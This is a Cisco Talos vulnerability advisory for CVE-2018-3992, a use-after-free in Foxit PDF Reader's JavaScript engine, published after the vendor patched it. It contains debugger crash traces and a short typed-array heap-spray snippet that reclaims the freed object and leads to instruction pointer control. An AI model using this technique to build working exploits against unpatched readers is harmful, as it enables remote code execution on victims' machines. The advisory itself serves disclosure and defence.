Talos Vulnerability Report

TALOS-2018-0660

Foxit PDF Reader JavaScript page change remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3992

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.2.0.9297.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

A multi-page PDF document can have JavaScript actions attached to "page open" and "page close" events. When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Changing a page at a precise moment after the document is closed can lead to a use-after-free condition.

In the attached PDF, the "document open" action puts the first page in focus which executes its "page open" action. This "page open" action then sets the focus on the second page which, in turn, executes the "close" action of page one. That action closes the document, which frees numerous objects, after which the page focus is changed and the use after free is triggered.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(1024.14a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000001 ecx=e060dffd edx=000610d0 esi=00000001 edi=104a8c10
eip=011d3121 esp=0027f930 ebp=0027f940 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626f1:
011d3121 8bb7fc010000    mov     esi,dword ptr [edi+1FCh] ds:0023:104a8e0c=????????
0:000> k 
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0027f940 011d303f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626f1
01 0027fa28 0312e993 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x6260f
02 0027fa4c 03129313 FoxitReader!CFXJSE_Arguments::GetValue+0x96f263
03 0027fac0 03129b86 FoxitReader!CFXJSE_Arguments::GetValue+0x969be3
04 0027fae0 764ac4b7 FoxitReader!CFXJSE_Arguments::GetValue+0x96a456
05 0027fb0c 764ac5b7 USER32!InternalCallWinProc+0x23
06 0027fb84 764acbe9 USER32!UserCallWinProcCheckWow+0x14b

Analyzing the heap state clearly shows that edi points to a freed memory region. We can abuse typed arrays to try and fill the memory of the freed object. An object size of 0x20 suffices in this case:

global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0x20 );
var int32View = new Int32Array(global.arr[i]);


for(var j = 0; j <int32View.length ; j++){
  int32View[j] = 0xeaeaeaea;
  }

}

Loading the proof of concept in the Foxit Reader with pageheap disabled results in the following crash:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitReader.exe - 
eax=eaeaeaea ebx=00000001 ecx=089a03e0 edx=38f9adcb esi=00000000 edi=089a03e0
eip=011cbd41 esp=002bf7c8 ebp=002bf7f0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b311:
011cbd41 8b583c          mov     ebx,dword ptr [eax+3Ch] ds:0023:eaeaeb26=????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002bf7f0 011d314c FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b311
01 002bf808 011d303f FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x6271c
02 002bf8f0 0312e993 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x6260f
03 002bf914 03129313 FoxitReader!CFXJSE_Arguments::GetValue+0x96f263
0:000> u
FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b311:
011cbd41 8b583c          mov     ebx,dword ptr [eax+3Ch]
011cbd44 895df0          mov     dword ptr [ebp-10h],ebx
011cbd47 85db            test    ebx,ebx
011cbd49 0f84ef000000    je      FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x5b40e (011cbe3e)
011cbd4f 8b03            mov     eax,dword ptr [ebx]
011cbd51 8bcb            mov     ecx,ebx
011cbd53 ff9090000000    call    dword ptr [eax+90h]

We can observe that the instruction immediately following the point of the crash makes an indirect call with eax+0x90 being the target. Since the value of eax is under control, this leads to direct instruction pointer control and ultimately arbitrary code execution.

Timeline

2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.